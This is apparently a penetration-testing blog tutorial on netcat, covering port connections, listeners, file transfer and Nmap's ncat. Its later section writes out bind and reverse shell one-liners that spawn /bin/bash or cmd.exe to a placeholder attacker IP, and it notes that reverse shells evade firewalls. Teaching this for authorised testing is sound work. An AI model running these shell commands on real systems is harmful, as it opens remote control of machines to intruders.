Thilan Dissanayaka Penetration Testing May 02

Netcat The Hacker's Swiss Army Knife

Netcat, often abbreviated as nc, is a versatile command-line networking tool that can be used for almost anything related to TCP, UDP, or UNIX-domain sockets. It's beloved by network engineers, sysadmins, and ethical hackers alike for its power and simplicity.

Connecting to a TCP/UDP Port

One of Netcat’s most basic functions is connecting to open TCP or UDP ports on remote systems. This is often used for testing services or debugging.

TCP Connection

nc <host> <port>
nc example.com 80

Once connected, you can type HTTP requests manually:

GET / HTTP/1.1

Host: example.com Example session:

thilan@macbook:~$ nc hacksland.net 443
GET /HTTP/1.1
<html>
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<center>The plain HTTP request was sent to HTTPS port</center>
<hr><center>cloudflare</center>
</body>
</html>

πŸ“‘ UDP Connection

nc -u <host> <port>
nc -u 192.168.1.10 12345

Useful for checking if a UDP service is responsive.

πŸ“‘ Listening on a TCP/UDP Port Netcat can also operate as a server, listening for incoming connections. This is especially useful for testing and scripting.

βœ… TCP Listener

nc -l <port>

πŸ“Œ Example:

nc -l 4444

Connecting from another machine:

thilan@ubuntu:~$ nc -lv 4444
Listening on 0.0.0.0 4444
Connection received on 111.223.183.3 5839
hiii
hello from ubuntu
thilan@macbook:~$ nc 82.29.160.2 4444
hiii
hello from ubuntu

πŸ“‘ UDP Listener

nc -lu πŸ“Œ Example:

nc -lu 12345

Send data from another machine:

nc -u <host> 12345

πŸ“ Transferring Files with Netcat Netcat can easily transfer files over a network without needing FTP or SCP.

Send a file:

# Receiver
nc -l 4444 > received_file.txt

Receive the file from another terminal:

Sender

nc 4444 < file_to_send.txt πŸ“ Tip: Works best over TCP. Ensure firewall ports are open on both ends.

Transfer binary files:

Receiver

nc -l 4444 > file.bin

Sender

nc 4444 < file.bin βœ… Use md5sum or sha256sum after transfer to verify integrity.

πŸͺŸ Netcat Bind Shell A bind shell is when a target machine opens a port and spawns a shell waiting for a connection.

⚠️ Only use this on machines you have permission to test.

On the victim machine (listener):

nc -l -p 4444 -e /bin/bash     # Linux
nc -l -p 4444 -e cmd.exe       # Windows

On the attacker's machine:

nc <target-ip> 4444

πŸ•³οΈ Netcat Reverse Shell A reverse shell is where the victim connects back to the attacker and sends a shell session.

On the attacker's machine (listener):

nc -l -p 4444

On the victim's machine:

nc <attacker-ip> 4444 -e /bin/bash     # Linux
nc <attacker-ip> 4444 -e cmd.exe       # Windows

πŸ” Reverse shells are more firewall-evading because they originate from the inside out.

Netcat Variants & Security Notes

Modern systems may include restricted versions of Netcat, especially the OpenBSD variant, which disables the -e option for security reasons.

βœ… Ncat (from Nmap) - safer & more powerful:

ncat --exec "/bin/bash" --allow <attacker-ip> -l 4444

Or from the victim:

ncat <attacker-ip> 4444 -e /bin/bash

🧠 Pro Tips for Using Netcat Use -v for verbose output.

Use -w to set timeouts (e.g., -w 3).

Pipe into nc for automation with scripts.

Combine with tar to send entire folders.

On Windows, consider using ncat.exe from Nmap for full functionality.

ALSO READ
Exploiting a  Stack Buffer Overflow  on Linux
May 11 Exploit development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening.....

Observer Pattern explained simply
Apr 26 Software Architecture

When one object needs to notify many other objects about changes in its state **automatically**, the **Observer Pattern** steps in. ## What is the Observer Pattern? - Defines a....

How stack works in function call
Mar 23 Application Security

## The Stack in Computer Science The stack is an important concept in computer science. If you are planning to learn reverse engineering, malware analyzing, exploitation, etc., this concept is a....

Error based SQL Injection
Apr 26 Application Security

In the previous example, we saw how a classic [SQL Injection Login Bypass](https://hacksland.net/sql-injection-login-bypass) works. SQL Injection is not all about that. The real fun is we can extract....

Kafka - Interview preparation guide
Jan 28 Interview Guides

## What is Apache Kafka? Apache Kafka is a distributed event streaming platform designed for high-throughput, fault-tolerant, and real-time data streaming. It is used for building real-time data....

REST API - Interview preparation guide
May 08 Interview Guides

## What is a REST API? A REST (Representational State Transfer) API is an architectural style for designing networked applications. It uses standard HTTP methods to interact with resources, making....